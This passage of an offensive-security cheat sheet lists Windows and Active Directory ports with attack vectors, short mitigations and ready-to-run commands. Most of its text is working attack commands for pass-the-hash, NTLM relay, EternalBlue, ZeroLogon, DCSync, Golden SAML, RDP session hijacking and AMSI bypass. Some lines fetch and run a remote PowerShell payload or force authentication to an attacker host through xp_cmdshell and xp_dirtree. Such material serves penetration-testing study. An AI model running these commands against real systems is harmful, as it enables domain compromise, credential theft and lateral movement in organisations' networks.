crackmapexec smb 10.10.10.0/24 --gen-relay-list relay.txt # list hosts with signing OFF
# Enumerate shares + permissions
crackmapexec smb <target_IP> -u user -p pass --shares
smbmap -H <target_IP> -u user -p pass
smbclient -L \\\\<target_IP>\\ -U user
# Browse SYSVOL (find GPP cpassword, scripts)
crackmapexec smb <DC_IP> -u user -p pass --spider SYSVOL
smbclient \\\\<DC_IP>\\SYSVOL -U user
# cd corp.local\Policies\ → look for Groups.xml (contains cpassword!)
grep -r "cpassword" /tmp/sysvol/ 2>/dev/null
gpp-decrypt CPASSWORD_VALUE # Decrypt GPP password (key is public!)
# Pass-the-Hash
crackmapexec smb <target_IP> -u user -H <NTLM_HASH>
impacket-smbexec corp.local/user@<target_IP> -hashes :<NTLM>
# PsExec-style lateral movement
impacket-psexec corp.local/user:pass@<target_IP>
impacket-smbexec corp.local/user:pass@<target_IP> # Stealthier (no service binary)
impacket-atexec corp.local/user:pass@<target_IP> "whoami"
# SMB Relay (Responder + ntlmrelayx)
sudo responder -I eth0 --lm -v
sudo ntlmrelayx.py -tf relay.txt -smb2support -i # -i = interactive SMB shell
# OR exec command on all relay targets:
sudo ntlmrelayx.py -tf relay.txt -smb2support -c "whoami"
# EternalBlue (MS17-010)
nmap --script smb-vuln-ms17-010 <target_IP>
python3 eternal_blue.py <target_IP>
# Exploit via Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_IP>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
Mitigation: Enable SMB Signing on all systems. Disable SMBv1. Block SMB at perimeter (port 445). Restrict ADMIN$, IPC$ access.
PORT 464 — Kerberos Password Change [AD] ★★
Protocol: TCP/UDP Service: Kerberos password change service (kpasswd).
Attack Vectors
- Password Brute-force: Target password change mechanism with credential lists.
- Account Takeover: If you have Account Operators rights, force password reset through this service.
# Change password via impacket (uses port 464)
impacket-smbpasswd -newhashes :<NEW_NTLM> corp.local/user:oldpass@<DC_IP>
# kpasswd via Kerberos
kpasswd user@corp.local
Mitigation: Monitor Event IDs 4723 (user changed password), 4724 (admin reset password). Implement fine-grained password policies.
PORT 500 — IPsec ISAKMP [Win] ★
Protocol: UDP Service: Internet Security Association and Key Management Protocol. VPN negotiation.
Attack Vectors
- VPN Reconnaissance: Fingerprint VPN product (Cisco, Palo Alto, Juniper).
- ISAKMP Aggressive Mode: Leak preshared key hash → offline crack.
- IKEv1 Vulnerabilities: Various weaknesses in older VPN implementations.
# Identify VPN / IKE configuration
ike-scan <target_IP>
ike-scan --aggressive -P ike_psk.txt <target_IP> # Dump PSK hash (aggressive mode!)
hashcat -m 5300 ike_psk.txt wordlist.txt # Crack IKE hash
Mitigation: Use IKEv2 only. Enforce strong PSKs. Prefer certificate-based auth.
PORT 543 / 544 — Kerberos Login / Shell [AD] ★
Protocol: TCP Service: klogin (543) and kshell (544). Legacy Kerberos-authenticated rlogin/rsh services.
Attack Vectors
- Legacy Kerberos Authentication Bypass: Rarely present; if enabled, attackers with Kerberos tickets can gain shell access without password.
krb5-rlogin -P <target_IP>
Mitigation: Disable klogin/kshell — use SSH instead.
PORT 546 / 547 — DHCPv6 Client / Server [Win] ★
Protocol: TCP/UDP Service: DHCPv6 address assignment for IPv6.
Attack Vectors
- DHCPv6 Takeover (mitm6): Send rouge DHCPv6 advertisements to Windows hosts. Windows prefers IPv6 → attacker becomes IPv6 gateway + DNS server → WPAD MITM → NTLM relay!
# mitm6 — DHCPv6 poisoning + DNS spoofing
sudo mitm6 -d corp.local
# Combined with ntlmrelayx (full attack chain):
# Terminal 1:
sudo mitm6 -d corp.local
# Terminal 2:
sudo ntlmrelayx.py -6 -t ldaps://<DC_IP> --delegate-access --no-smb-server
# → Any machine that reboots or has a network event sends NTLM to you!
# → Relay to LDAPS → create machine account → full RBCD → DA!
Mitigation: Block DHCPv6 on managed switches if not using IPv6. Disable IPv6 via GPO on Windows machines (DisabledComponents = 0xFF).
PORT 563 — NNTP over SSL [Win] ★
Protocol: TCP Service: Encrypted NNTP. Rarely exploited.
PORT 593 — RPC over HTTP [Win] ★★
Protocol: TCP Service: RPC over HTTP (Outlook Anywhere). Allows RPC through HTTP proxies and firewalls.
Attack Vectors
- Firewall Evasion: Route RPC traffic through HTTP/HTTPS proxy on port 593 → bypass RPC port blocks.
- Exchange Enumeration: Outlook Anywhere endpoint can be leveraged for Exchange attacks.
nmap -sV -p593 <target_IP>
impacket-rpcdump <target_IP> -port 593
PORT 636 — LDAPS [AD] ★★★
Protocol: TCP Service: LDAP over SSL/TLS. Encrypted LDAP — same functionality as 389 but encrypted.
Attack Vectors
- Same enumeration as Port 389 (BloodHound still works, ldapsearch with SSL).
- Certificate Info Leakage: Extract internal hostnames, CA info from TLS cert.
- Shadow Credentials via LDAPS Relay: Relay to LDAPS (bypasses LDAP signing) → write
msDS-KeyCredentialLink→ authenticate as victim machine.
# Enum via LDAPS
ldapdomaindump -u corp\\user -p pass <DC_IP> --no-json --no-grep -o /tmp/ldap/
# BloodHound over LDAPS
bloodhound-python -u user -p pass -ns <DC_IP> -d corp.local -c All --use-ldaps
# Shadow Credentials relay via LDAPS
sudo ntlmrelayx.py -t ldaps://<DC_IP> --shadow-credentials --shadow-target "DC01$"
# After getting TGT → secretsdump via DC01$ account!
Mitigation: Enable LDAP Channel Binding and EPA. Same as 389.
PORT 647 — DHCP Failover [Win] ★
Protocol: TCP Service: DHCP Failover Protocol. Synchronizes DHCP lease databases between redundant DHCP servers.
Attack Vectors
- DHCP Spoofing: If unauthenticated, rogue server can synchronize fake leases.
PORT 873 — Rsync [Win/Linux] ★★
Protocol: TCP Service: Rsync. File sync protocol — sometimes present on Windows via Cygwin or third-party tools.
Attack Vectors
- Anonymous Rsync: Unauthenticated access to rsync modules → read/write files.
- Data Exfiltration: Pull sensitive config files, backups, database dumps.
# List modules (shares)
rsync rsync://<target_IP>/
# Download entire share
rsync -av rsync://<target_IP>/module /tmp/loot/
# Check for writable modules
rsync -av /tmp/test rsync://<target_IP>/module/
Mitigation: Require rsync authentication. Firewall port 873 to only trusted hosts.
PORT 989 / 990 — FTPS Data / Control [Win] ★
Protocol: TCP Service: FTP over TLS/SSL. Encrypted FTP.
Attack Vectors
- Same attack vectors as FTP (21/20) but traffic is encrypted.
- Certificate Info Leakage: TLS cert reveals hostnames.
PORT 993 — IMAPS [Win] ★★
Protocol: TCP Service: IMAP over SSL. Encrypted email access.
Attack Vectors
- Same as IMAP (143) but encrypted. Brute force credentials.
hydra -l user@corp.local -P wordlist.txt imaps://<target_IP>
PORT 995 — POP3S [Win] ★★
Protocol: TCP Service: POP3 over SSL. Encrypted email retrieval.
Attack Vectors
- Same as POP3 (110) but encrypted. Brute force credentials.
PORT 1433 — MSSQL [Win] ★★★
Protocol: TCP Service: Microsoft SQL Server.
Attack Vectors
- Default / Weak Credentials: Target
saaccount. - xp_cmdshell OS Execution: Run OS commands from within SQL.
- SQL Server Links: Pivot through linked SQL servers across the network.
- Coerced Authentication (xp_dirtree): Force SQL service account to auth to attacker SMB → capture hash.
- Token Impersonation: Use
EXECUTE AS LOGINto impersonate SA or other users. - UNC Path Injection: Many SQL functions accept UNC paths → force NTLM auth.
- Privilege Escalation via SE_IMPERSONATE: SQL server accounts with
SeImpersonatePrivilege→ JuicyPotato/PrintSpoofer.
# Discovery
nmap -sV -p1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-info <target_IP>
crackmapexec mssql 10.10.10.0/24
# Connect + attack (impacket-mssqlclient)
impacket-mssqlclient corp.local/user:pass@<target_IP>
impacket-mssqlclient corp.local/user@<target_IP> -hashes :<NTLM>
# Enable + use xp_cmdshell
SQL> EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> xp_cmdshell 'whoami'
SQL> xp_cmdshell 'powershell -c IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")'
# Coerce NTLM Authentication (capture SQL service hash!)
SQL> EXEC master..xp_dirtree '\\<ATTACKER_IP>\share\', 1, 1;
SQL> EXEC master..xp_fileexist '\\<ATTACKER_IP>\share\test';
# → Responder captures the hash!
# SQL Server Links (pivot to linked server)
SQL> SELECT * FROM sys.servers; # List linked servers
SQL> EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER] # Execute on linked!
# Token impersonation
SQL> SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
SQL> EXECUTE AS LOGIN = 'sa'
SQL> SELECT SYSTEM_USER # Now sa!
# SeImpersonatePrivilege → SYSTEM
SQL> xp_cmdshell 'whoami /priv'
# If SeImpersonatePrivilege: upload PrintSpoofer/JuicyPotato → SYSTEM!
SQL> xp_cmdshell 'C:\Temp\PrintSpoofer.exe -i -c cmd'
Mitigation: Disable xp_cmdshell. Run MSSQL as low-privilege MSA/gMSA. Firewall 1433 to only app servers. Audit linked servers. Enforce strong sa password or disable.
PORT 1434 — MSSQL Browser [Win] ★★
Protocol: UDP Service: SQL Server Browser Service. Returns server connection details for named instances.
Attack Vectors
- Instance Enumeration: Reveals all SQL instances, versions, and ports without authentication.
- CVE-2002-0649 (SQL Slammer): Historic DoS via UDP 1434.
# Enumerate SQL instances
nmap -sU -p1434 --script ms-sql-info <target_IP>
PORT 1645 / 1646 — Legacy RADIUS [Win] ★
Protocol: UDP Service: Old RADIUS ports (pre-RFC). RADIUS auth (1645) and accounting (1646).
Attack Vectors
- Shared Secret Brute-force: RADIUS uses MD5 with shared secret → offline crack.
- AP Authentication Bypass: RADIUS misconfiguration → unauthorized network access.
PORT 1701 — L2TP [Win] ★
Protocol: UDP Service: Layer 2 Tunneling Protocol. Windows VPN protocol.
Attack Vectors
- PSK Crack: L2TP/IPsec with preshared key → IKE aggressive mode PSK hash → crack offline.
- MitM on L2TP: Downgrade or intercept if IPsec not enforced.
PORT 1723 — PPTP [Win] ★★
Protocol: TCP Service: Point-to-Point Tunneling Protocol. Windows legacy VPN.
Attack Vectors
- MS-CHAPv2 Crack: PPTP uses MS-CHAPv2 by default → brute-force with asleap/chapcrack.
- Known PPTP weaknesses: RC4 encryption is trivially crackable; known since 2012.
# Identify PPTP VPN
nmap -sV -p1723 <target_IP>
# Capture + crack MS-CHAPv2
thc-pptp-bruter -u user <target_IP>
asleap -r pptp.pcap -W wordlist.txt # Crack MS-CHAPv2 from captured traffic
Mitigation: Do not use PPTP. Replace with L2TP/IPsec, IKEv2, or OpenVPN.
PORT 1801 — MSMQ [Win] ★★
Protocol: TCP/UDP Service: Microsoft Message Queuing. Inter-process messaging middleware.
Attack Vectors
- CVE-2023-21554 (QueueJumper): Unauthenticated RCE via MSMQ (April 2023 Patch Tuesday). CVSS 9.8.
- Message Sniffing: Unencrypted MSMQ traffic reveals application logic and data.
- Message Injection: Send crafted messages to trigger unintended application behavior.
# Check MSMQ presence
nmap -sV -p1801 <target_IP>
# QueueJumper PoC (CVE-2023-21554)
python3 queuejumper.py <target_IP> # Unauthenticated RCE!
Mitigation: Patch CVE-2023-21554 immediately. Disable MSMQ if unused. Firewall port 1801.
PORT 1812 / 1813 — RADIUS [Win] ★★
Protocol: TCP/UDP Service: RADIUS Authentication (1812) and Accounting (1813). Used for 802.1X NAC, VPN auth.
Attack Vectors
- Shared Secret Attack: Weak shared secrets are MD5-crackable offline.
- EAP Downgrade: Force weaker EAP methods (EAP-MD5) → easier crack.
- Rogue Radius Server: MITM between supplicant and legitimate RADIUS.
PORTS 2101 / 2103 / 2105 / 2107 — MSMQ Support Ports [Win] ★
Protocol: TCP Service: MSMQ Directory (2101), MSMQ RPC (2103, 2105), MSMQ Management (2107).
Attack Vectors
- Related to MSMQ attacks above. Enumeration reveals MSMQ configuration.
PORT 2535 — MADCAP [Win] ★
Protocol: UDP Service: Multicast Address Dynamic Client Allocation Protocol. Used for Multicast-scope DHCP.
PORT 3268 — Global Catalog LDAP [AD] ★★★
Protocol: TCP Service: Global Catalog LDAP. Contains partial read-only replica of ALL objects in the AD forest (across all domains).
Attack Vectors
- Forest-Wide Enumeration: One query returns users, groups, computers from ALL child domains simultaneously.
- Cross-Domain SPN Enumeration: Find Kerberoastable accounts from every domain in forest.
- Trust Discovery: Map forest structure and child domains.
# Query Global Catalog (port 3268) for all users across forest
ldapsearch -x -H ldap://<DC_IP>:3268 -D "corp\\user" -w pass \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName
# Find all SPNs across entire forest (for Kerberoasting)
ldapsearch -x -H ldap://<DC_IP>:3268 -D "corp\\user" -w pass \
-b "DC=corp,DC=local" "(servicePrincipalName=*)" sAMAccountName servicePrincipalName
# BloodHound auto-queries GC port during collection
bloodhound-python -u user -p pass -ns <DC_IP> -d corp.local -c All
Mitigation: Same as LDAP (389). Enforce LDAP Signing and Channel Binding.
PORT 3269 — Global Catalog LDAPS [AD] ★★★
Protocol: TCP Service: Global Catalog over SSL. Encrypted version of port 3268.
Attack Vectors
- Same as 3268 but encrypted. Certificate leaks internal domain/forest structure.
PORT 3343 — Windows Cluster Service [Win] ★
Protocol: TCP/UDP Service: Microsoft Failover Cluster communication.
Attack Vectors
- Cluster Enumeration: Identify failover cluster members and shared storage.
- Cluster MITM: Disrupt cluster heartbeat → cause failover events (DoS).
PORT 3389 — RDP [Win] ★★★
Protocol: TCP/UDP Service: Remote Desktop Protocol. GUI access to Windows machines.
Attack Vectors
- Password Spraying: Common due to internet-exposed RDP.
- Session Hijacking: Hijack disconnected DA sessions without their password using
tscon. - Restricted Admin Mode / PtH: If Restricted Admin Mode enabled → RDP with NTLM hash.
- BlueKeep (CVE-2019-0708): Pre-auth RCE (unpatched 2008/7 systems).
- DejaBlue (CVE-2019-1181/1182): Similar to BlueKeep, affects newer Windows.
- Clipboard Hijacking: Monitor clipboard data shared across RDP session.
- Brute Force: Hydra/crowbar against exposed RDP.
# Discovery
nmap -sV -p3389 --script rdp-enum-encryption,rdp-vuln-ms12-020 <target_IP>
crackmapexec rdp 10.10.10.0/24
# Brute force
hydra -l administrator -P wordlist.txt rdp://<target_IP>
crowbar -b rdp -s <target_IP>/32
# Pass-the-Hash via RDP (Restricted Admin Mode must be enabled on target)
xfreerdp /v:<target_IP> /u:Administrator /pth:<NTLM_HASH> /cert-ignore
# Enable Restricted Admin Mode remotely (if you already have admin)
crackmapexec smb <target_IP> -u admin -p pass -M rdp -o ACTION=enable
# RDP Session Hijacking (run from SYSTEM on compromised host)
query user # List all sessions + Session IDs
tscon <VICTIM_SESSION_ID> /dest:<YOUR_SESSION_NAME>
# → You are now in the DA's session with no password needed!
# Hijack via PsExec → SYSTEM → tscon
psexec -s cmd.exe # Elevate to SYSTEM first
query user
tscon 2 /dest:rdp-tcp#1 # Steal session ID 2
# BlueKeep (CVE-2019-0708) check
nmap --script rdp-vuln-ms12-020 <target_IP>
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce # MSF
# Screenshot without logging in (RDP NLA bypass on old hosts)
rdesktop -u '' <target_IP> # See login screen, may reveal last username
# Clipboard monitoring (after connecting via RDP)
# Built-in via rdp-clipboard channel — data auto-syncs across session
Mitigation: Enforce NLA (Network Level Authentication). Place RDP behind VPN. Disable Restricted Admin Mode unless needed. Apply BlueKeep patches. Block 3389 externally. Use MFA on VPN.
PORT 3527 — MSMQ Ping [Win] ★
Protocol: UDP
Service: MSMQ Ping. Used to verify MSMQ connectivity between hosts.
Attack Vectors
- Host Discovery: MSMQ ping reveals live hosts running MSMQ services.
PORT 3702 — WS-Discovery / BranchCache [Win] ★
Protocol: UDP
Service: Web Services Dynamic Discovery. Used by BranchCache peer discovery and Windows printer/device discovery.
Attack Vectors
-
WS-Discovery Amplification (DDoS): UDP reflection using crafted WS-Discovery probes.
-
Device/Service Discovery: Enumerate printers, IoT devices, and services on subnet.
Enumerate WS-Discovery devices
nmap -sU -p3702 --script broadcast-ws-discovery
PORT 4500 — IPsec NAT-T [Win] ★
Protocol: UDP
Service: IPsec NAT Traversal. Encapsulates IPsec ESP packets in UDP when NAT is detected.
Attack Vectors
-
VPN Fingerprinting: Identify VPN gateway product and version.
-
IKE Aggressive Mode Abuse: Same as port 500 — expose PSK hash.
ike-scan -M --sport=4500 <target_IP>
PORT 5722 — DFSR RPC [AD] ★★
Protocol: TCP
Service: Distributed File System Replication (DFSR). Replicates SYSVOL and DFS content between Domain Controllers.
Attack Vectors
-
SYSVOL Replication Tampering: If attacker has write access to SYSVOL, DFSR propagates malicious scripts/GPOs to ALL DCs automatically.
-
Replication Coercion: Craft DFS referral requests to trigger DC authentication (similar to PrinterBug but via DFS).
-
Enumeration: Map DFS namespace structure to identify file shares and replication topology.
# Enumerate DFS namespace
impacket-rpcdump <DC_IP> | grep -i "DFSR\|dfsnm\|dfs"
# DFS Coercion (trigger DC auth to attacker)
python3 dfscoerce.py -d corp.local -u user -p pass <ATTACKER_IP> <DC_IP>
# Enumerate DFS shares
net view \\corp.local /all
PORT 5985 — WinRM HTTP [Win] ★★★
Protocol: TCP
Service: Windows Remote Management over HTTP. PowerShell Remoting endpoint.
Attack Vectors
-
Lateral Movement (Preferred Red Team Method): Stealthier than PsExec — no service creation, no binary on disk.
-
Pass-the-Hash: WinRM accepts NTLM → fully PtH-able.
-
Pass-the-Ticket: Use Kerberos ticket to authenticate.
-
Command Execution: Full PowerShell session on target.
-
Evil-WinRM: Feature-rich shell — upload/download, .NET loader, AMSI bypass, PowerShell history disable.
# Check WinRM is open + accessible
crackmapexec winrm 10.10.10.0/24
# Connect with credentials
evil-winrm -i <target_IP> -u user -p 'P@ssw0rd'
# Pass-the-Hash
evil-winrm -i <target_IP> -u Administrator -H <NTLM_HASH>
# Pass-the-Ticket (Kerberos)
export KRB5CCNAME=/tmp/ticket.ccache
evil-winrm -i <target_IP> -u user -r corp.local # Kerberos auth
# Execute commands via CrackMapExec
crackmapexec winrm <target_IP> -u user -p pass -x "whoami /all"
crackmapexec winrm <target_IP> -u user -H <HASH> -X "Get-Process" # PS command
# Evil-WinRM advanced features:
# Upload file to target
*Evil-WinRM* PS> upload /local/SharpHound.exe C:\Temp\SharpHound.exe
# Download file from target
*Evil-WinRM* PS> download C:\Users\Admin\ntds.dit /tmp/ntds.dit
# Load PowerShell script in memory (no disk touch!)
*Evil-WinRM* PS> Bypass-4MSI # Bypass AMSI!
*Evil-WinRM* PS> IEX(Get-Content /local/PowerView.ps1 -Raw)
# Execute .NET assembly in memory
*Evil-WinRM* PS> Invoke-Binary /local/Seatbelt.exe -group=all
# Disable PowerShell history (OPSEC)
*Evil-WinRM* PS> Set-PSReadLineOption -HistorySaveStyle SaveNothing
Mitigation: Restrict WinRM via Windows Firewall to specific admin jump boxes only. Enable PS Script Block Logging (Event 4104). Require Kerberos for WinRM (disable NTLM on WinRM).
PORT 5986 — WinRM HTTPS [Win] ★★★
Protocol: TCP
Service: Windows Remote Management over HTTPS (TLS encrypted WinRM).
Attack Vectors
-
Identical attack surface as port 5985 but encrypted.
-
Certificate Analysis: TLS cert leaks hostnames.
# Connect via HTTPS WinRM
evil-winrm -i <target_IP> -u user -p pass -S -c /path/cert.pem -k /path/key.pem
# CrackMapExec HTTPS WinRM
crackmapexec winrm <target_IP> -u user -p pass --port 5986 --ssl
Mitigation: Same as port 5985. Use valid certificates (not self-signed).
PORT 6600 — Hyper-V Live Migration [Win] ★★
Protocol: TCP
Service: Hyper-V Live Migration. Transfers running VMs between Hyper-V hosts.
Attack Vectors
-
Rogue Migration Target: If accessible, an attacker on the network may intercept VM migration traffic.
-
VM Disk Extraction: Live migration streams contain full VM memory — capture for credential extraction.
-
Lateral Movement via Hyper-V Admin: Hyper-V Administrator group has near-DA level power (read VM disks, extract NTDS.dit, etc.)
# Enumerate Hyper-V hosts
nmap -sV -p6600 10.10.10.0/24
# If Hyper-V admin access: extract VM disk
# (From compromised Hyper-V host)
Get-VM | Export-VM -Path C:\Temp\VM_Export\
# → Then extract NTDS.dit from exported VM disk!
Mitigation: Isolate Hyper-V migration traffic on dedicated VLAN. Firewall port 6600 strictly.
PORT 9389 — AD Web Services (ADWS) [AD] ★★★
Protocol: TCP
Service: Active Directory Web Services. Provides a SOAP/web service interface to AD. Natively used by the ActiveDirectory PowerShell module (RSAT).
Attack Vectors
-
Native PowerShell AD Enumeration (stealthy):
Get-ADUser,Get-ADComputer,Get-ADGroupall route through 9389 — bypasses simple LDAP (389) monitoring. -
Fingerprinting: Identifying DC presence on unusual segments.
-
ADWS → LDAP Relay Pivot: Query ADWS → convert to LDAP operations that can be intercepted.
# Native PowerShell cmdlets (routes through 9389)
Get-ADUser -Filter * -Properties *
Get-ADDomainController -Filter *
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter * | Get-ADGroupMember
# Run remotely (specify DC explicitly)
Get-ADUser -Filter * -Server <DC_IP> -Properties *
# Via SharpView (C# wrapper — no RSAT needed, execute in memory!)
.\SharpView.exe Get-ADUser
.\SharpView.exe Get-DomainComputer
.\SharpView.exe Get-DomainGroupMember -Identity "Domain Admins"
Mitigation: Monitor Event ID 4662 for unusual AD object access. Baseline ADWS query volumes. Audit RSAT tool installations.
PORT 42424 — ASP.NET State Service [Win] ★
Protocol: TCP
Service: ASP.NET Session State Service. Stores web application session data.
Attack Vectors
-
Session Hijacking: If unauthenticated/unencrypted, read or manipulate session tokens.
-
Sensitive Data Extraction: Session data may contain credentials, tokens, PII.
nmap -sV -p42424 <target_IP>
Mitigation: Restrict port 42424 to localhost or app server IPs only. Use encrypted session state (SQL Server State Provider instead).
PORT 47001 — WinRM Alternate [Win] ★★
Protocol: TCP
Service: Windows Remote Management alternate port. Sometimes configured as an alternate WinRM endpoint.
Attack Vectors
- Identical to ports 5985/5986.
evil-winrm -i <target_IP> -u user -p pass -P 47001
crackmapexec winrm <target_IP> -u user -p pass --port 47001
PORT 49443 — ADFS HTTPS [AD] ★★★
Protocol: TCP
Service: Active Directory Federation Services (ADFS). Provides SSO and federated identity for cloud apps (Microsoft 365, Azure, Salesforce).
Attack Vectors
-
Golden SAML: Steal the ADFS token signing certificate → forge SAML tokens → authenticate as ANY user to ANY federated application (including Microsoft 365) without touching AD or Kerberos.
-
Password Spraying: ADFS endpoints accept username/password → ideal spray target (doesn't lock AD accounts on many configs).
-
CVE-2021-36942 (PetitPotam on ADFS): Coerce ADFS server to authenticate → NTLM relay.
-
Credential Phishing: Host fake ADFS login page to harvest credentials.
-
ADFS Config Extraction: Read
Microsoft.IdentityServer.Servicehost.exe.config— contains encrypted token signing cert.
# Enumerate ADFS
nmap -sV -p49443 <target_IP>
curl -k https://<ADFS_IP>:49443/adfs/ls/IdpInitiatedSignOn.aspx # SSO page
curl -k https://<ADFS_IP>/federationmetadata/2007-06/federationmetadata.xml # Metadata leak!
# Password spraying against ADFS
# Tool: ADFSSpray
python3 adfsSpray.py -u users.txt -p 'Password123!' -d corp.local -a <ADFS_URL>
# Golden SAML attack (requires ADFS DKM key)
# Step 1: Dump ADFS token signing cert (requires DA or ADFS server access)
# From compromised ADFS server:
Export-PfxCertificate -Cert (Get-ChildItem Cert:\LocalMachine\My\ | where {$_.Subject -like "*ADFS*"}) -FilePath C:\Temp\adfs.pfx -Password (ConvertTo-SecureString "P@ss" -AsPlainText -Force)
# Step 2: Generate Golden SAML token
python3 shimit.py -idp https://adfs.corp.local/adfs/services/trust \
-cert adfs.pfx -u "Administrator" -role "admin" \
-f microsoft365 -t saml
# Step 3: Use forged token to auth to O365/Azure as any user!
Mitigation: Protect ADFS server like a DC. Monitor ADFS Event ID 403 (token issuance). Rotate token signing certs periodically. Implement MFA for all ADFS-federated apps.
PORTS 49152-65535 — RPC Ephemeral / Dynamic [Win/AD] ★★★
Protocol: TCP
Service: Dynamically assigned RPC ports. After negotiation on port 135, actual data flows through randomly assigned high ports in this range.
Key Services Using Ephemeral Ports
| Service | Function | Attack |
|---|---|---|
| DRSUAPI | AD Replication (DCSync) | Dump all domain hashes |
| DCOM/WMI | Remote code execution | Lateral movement |
| Netlogon | Secure channel, pass-through auth | ZeroLogon CVE-2020-1472 |
| Task Scheduler | Remote task creation | AtExec lateral movement |
| Service Control | Start/stop remote services | PsExec service install |
| MS-RPRN (Spooler) | Print Spooler RPC | PrinterBug coercion |
| MS-EFSR (EFS) | Encrypting File System | PetitPotam coercion |
| MS-DFSNM (DFS) | DFS Namespace | DFSCoerce coercion |
| MS-FSRVP | File Server VSS | ShadowCoerce |
Attack Vectors + Commands
# ==========================================
# DCSYNC (DRSUAPI over ephemeral port)
# ==========================================
# Dump ALL domain hashes (requires DA or DCSync rights)
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP>
impacket-secretsdump corp.local/user@<DC_IP> -hashes :<NTLM>
# Targeted dump (single user)
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP> -just-dc-user krbtgt
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP> -just-dc-user Administrator
# From Windows (Mimikatz / via C2):
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv
# ==========================================
# WMI LATERAL MOVEMENT (DCOM)
# ==========================================
impacket-wmiexec corp.local/user:pass@<target_IP>
impacket-wmiexec corp.local/user@<target_IP> -hashes :<NTLM>
impacket-wmiexec corp.local/user@<target_IP> -k -no-pass # Kerberos
# CrackMapExec WMI
crackmapexec smb <target_IP> -u user -p pass -x "whoami" --exec-method wmiexec
# ==========================================
# TASK SCHEDULER (AtExec)
# ==========================================
impacket-atexec corp.local/user:pass@<target_IP> "whoami"
impacket-atexec corp.local/user@<target_IP> -hashes :<NTLM> "C:\Temp\beacon.exe"
# ==========================================
# ZEROLOGON (CVE-2020-1472 - Netlogon)
# ==========================================
# Check vulnerability
python3 zerologon_check.py <DC_HOSTNAME> <DC_IP>
# Exploit (resets DC machine account password to empty!)
python3 cve-2020-1472-exploit.py <DC_HOSTNAME> <DC_IP>
# Dump hashes after exploit (empty password)
impacket-secretsdump corp.local/<DC_HOSTNAME>$@<DC_IP> -no-pass
# Restore DC machine password (CRITICAL - do this after dumping!)
python3 restorepassword.py corp.local/<DC_HOSTNAME>@<DC_IP> -target-ip <DC_IP> \
-hexpass <ORIGINAL_HEX_PASS>
# ==========================================
# COERCION ATTACKS (force DC to auth to attacker)
# ==========================================
# PrinterBug (MS-RPRN) - requires valid domain credentials
python3 printerbug.py corp.local/user:pass@<DC_IP> <ATTACKER_IP>
# PetitPotam (MS-EFSR) - sometimes works unauthenticated!
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>
python3 PetitPotam.py -u user -p pass -d corp.local <ATTACKER_IP> <DC_IP> # Auth version
# DFSCoerce (MS-DFSNM)
python3 dfscoerce.py -d corp.local -u user -p pass <ATTACKER_IP> <DC_IP>
# ShadowCoerce (MS-FSRVP)
python3 shadowcoerce.py -d corp.local -u user -p pass <ATTACKER_IP> <DC_IP>
# CheeseOunce (MS-EVEN6)
python3 cheeseOunce.py -d corp.local -u user -p pass <ATTACKER_IP> <DC_IP>
# Coercion → NTLM Relay chain to ADCS (ESC8 - HTTPRelay)
# Step 1: Start responder (DONT use SMB/HTTP — ntlmrelayx will handle)
sudo responder -I eth0 --lm -v --disable-ess
# Step 2: Start relay to ADCS HTTP endpoint
sudo ntlmrelayx.py -t http://<CA_SERVER>/certsrv/certfnsh.asp --adcs --template DomainController
# Step 3: Coerce the DC
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>
# → Get base64 certificate for DC → Convert to TGT → DCSync!
impacket-gettgtpkinit corp.local/DC01$ -cert-pfx dc01.pfx dc01.ccache
export KRB5CCNAME=dc01.ccache
impacket-secretsdump corp.local/DC01$@<DC_IP> -k -no-pass
# ==========================================
# SERVICE CONTROL (PsExec mechanism)
# ==========================================
impacket-psexec corp.local/user:pass@<target_IP> # Creates service!
impacket-psexec corp.local/user@<target_IP> -hashes :<NTLM>
# Stealth alternative (no service creation):
impacket-smbexec corp.local/user:pass@<target_IP> # Uses sc manager differently
impacket-wmiexec corp.local/user:pass@<target_IP> # WMI - no service at all
Mitigation: Restrict RPC ephemeral port range (configure HKLM\SYSTEM\CurrentControlSet\Services\RPSS\Parameters to limit to e.g., 49152-51200). Disable Print Spooler on DCs. Patch ZeroLogon immediately (KB4571694). Apply MS-EFSR hardening. Enable Protected Users group for DAs.
Quick Attack Cheat Sheet
By Attack Goal (Ascending Port Order)
# ==========================================
# RECONNAISSANCE & ENUMERATION
# ==========================================
# Full port scan (discover all Windows services)
nmap -sS -sV -sC -p- --min-rate 5000 -oA full_scan <target_IP>
nmap -sU --top-ports 100 <target_IP> # UDP top ports (SNMP, DNS, NTP, DHCP)
# SMB enum (fastest AD recon)
crackmapexec smb 10.10.10.0/24 # Live host discovery + OS detection
enum4linux-ng -A <DC_IP> # Full SMB/AD enum
# LDAP dump (full AD object dump)
ldapdomaindump -u corp\\user -p pass <DC_IP> -o /tmp/ldap/
# BloodHound (full attack path mapping)
bloodhound-python -u user -p pass -ns <DC_IP> -d corp.local -c All --zip
# ==========================================
# CREDENTIAL ATTACKS (by port)
# ==========================================
# Port 21 → FTP brute force
hydra -l admin -P wordlist.txt ftp://<target_IP>
# Port 22 → SSH brute force
hydra -l root -P wordlist.txt ssh://<target_IP>
# Port 25 → SMTP user enum
smtp-user-enum -M RCPT -U users.txt -D corp.local -t <target_IP>
# Port 53 → DNSAdmins escalation (after group membership)
dnscmd <DC> /config /serverlevelplugindll \\ATTACKER\share\malicious.dll
# Port 80 → Web app attacks
gobuster dir -u http://<target_IP> -w /usr/share/wordlists/dirb/common.txt
# Port 88 → Kerberoasting (no network noise after TGS request)
